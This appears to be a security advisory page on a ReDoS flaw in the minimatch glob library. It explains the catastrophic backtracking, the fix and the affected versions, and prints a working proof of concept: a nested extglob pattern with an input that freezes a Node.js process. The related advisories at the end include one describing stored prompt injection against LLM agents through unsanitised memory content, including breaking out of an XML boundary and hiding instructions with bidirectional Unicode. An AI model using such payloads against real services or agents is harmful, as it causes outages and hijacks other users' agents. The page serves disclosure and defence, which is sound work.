Feb 27, 2026·4 min read·210 visits
A ReDoS vulnerability in `minimatch` allows attackers to cause a Denial of Service via nested extended glob patterns (e.g., `*(*(*(a|b)))`). This affects nearly all versions prior to Feb 2026. Update immediately.
Minimatch, the ubiquitous JavaScript glob matcher that likely powers your entire build pipeline, has a nasty habit of choking on its own logic. A specifically crafted 'extglob' pattern can trick the library into generating a Regular Expression with catastrophic backtracking potential. This allows a remote attacker to freeze the Node.js event loop with a payload smaller than a tweet, turning your high-performance application into a very expensive paperweight.
If you write JavaScript, you use minimatch. You might not know it, but you do. It's the engine under the hood of glob, which is under the hood of rimraf, eslint, and pretty much every build tool in existence. Its job is simple: take a shell-style wildcard string (like src/**/*.js) and turn it into a Regular Expression that JavaScript's V8 engine can understand.
But here's the thing about translating logic languages: it's really easy to accidentally create a monster. In CVE-2026-27904, the monster is hiding in 'extglobs'—extended glob patterns like *(pattern) (zero or more) or +(pattern) (one or more).
The vulnerability is a classic case of "it seemed like a good idea at the time." The library allowed users to nest these patterns indefinitely. And when you nest patterns that represent unbounded repetition, you aren't just creating a complex regex; you are creating a mathematical black hole.
To understand why this breaks, we have to look at how minimatch translates these globs. When you provide a pattern like *(a|b), minimatch converts it into a regex equivalent to (a|b)*. That's fine. V8 can handle that while sleeping.
The problem arises when you get recursive. A pattern like *(*(*(a|b))) is translated into a regex structure resembling ((((a|b)*)*)*).
> [!WARNING]
> Catastrophic Backtracking Alert: In a backtracking regex engine, nested quantifiers are deadly. If the engine fails to find a match (e.g., on a string of aaaa... ending in z), it tries to backtrack and rearrange how the inner groups matched the characters.
With three levels of nesting, the complexity is manageable. But the complexity grows exponentially. A 12-byte pattern combined with an 18-byte input string is enough to stall the single-threaded Node.js event loop for over 7 seconds. Add a few more characters, and the sun will explode before your server sends a response.
The fix, implemented in commit 11d0df6 (and others), is a masterclass in pragmatic optimization. The maintainers realized that mathematically, *(*(pattern)) is redundant. It essentially asks for "zero or more of (zero or more of pattern)". That is logically identical to just "zero or more of pattern".
To fix this, they introduced an optimization pass that flattens these nested structures before they ever become regexes. They verify if a parent extglob can "adopt" a child extglob.
Here is the logic in a nutshell:
// Conceptual logic of the fix
if (this.type === '*' && child.type === '*') {
// *(*(a)) becomes *(a)
this.patternList = child.patternList;
}Furthermore, they added a hard stop. A new maxExtglobRecursion limit (defaulting to 2) prevents the parser from going down the rabbit hole. If a pattern nests deeper than that and cannot be flattened, minimatch now simply refuses to treat it as a glob, interpreting the characters literally. It’s the coding equivalent of a parent saying, "Because I said so."
Exploiting this is embarrassingly easy. You don't need heap spraying or ROP chains. You just need an input field that accepts a glob pattern. This could be a file search feature, a .gitignore parser, or a route config.
Here is the Proof of Concept (PoC) that kills the process:
const { minimatch } = require('minimatch');
// The payload: deeply nested, redundant wildcards
const pattern = "*(*(*(a|b)))";
// The trigger: A string that almost matches, but fails at the end
const input = "a".repeat(25) + "z";
console.log("Starting match...");
console.time('death');
// This line effectively freezes the process
minimatch(input, pattern);
console.timeEnd('death');If you run this on a vulnerable version (e.g., v9.0.0), your terminal will hang. If this were a web server, every other request would be queued behind this operation, causing a complete denial of service.
You might be thinking, "Who lets users type raw glob patterns?" You'd be surprised.
minimatch to exclude files.Because Node.js is single-threaded, a ReDoS is not just a slow request—it is a total service outage. The CPU hits 100%, the event loop blocks, and health checks fail. Kubernetes will likely kill and restart the pod, but if the attack is persistent or part of a config file, the service enters a crash loop.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
minimatch isaacs | >= 10.0.0, < 10.2.3 | 10.2.3 |
minimatch isaacs | >= 9.0.0, < 9.0.7 | 9.0.7 |
minimatch isaacs | < 3.1.4 | 3.1.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1333 |
| Attack Vector | Network |
| CVSS Score | 7.5 (High) |
| EPSS Score | 0.0004 |
| Exploit Status | PoC Available |
| Impact | Denial of Service |
The software uses a regular expression that can take an exponential amount of time to evaluate specific inputs.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.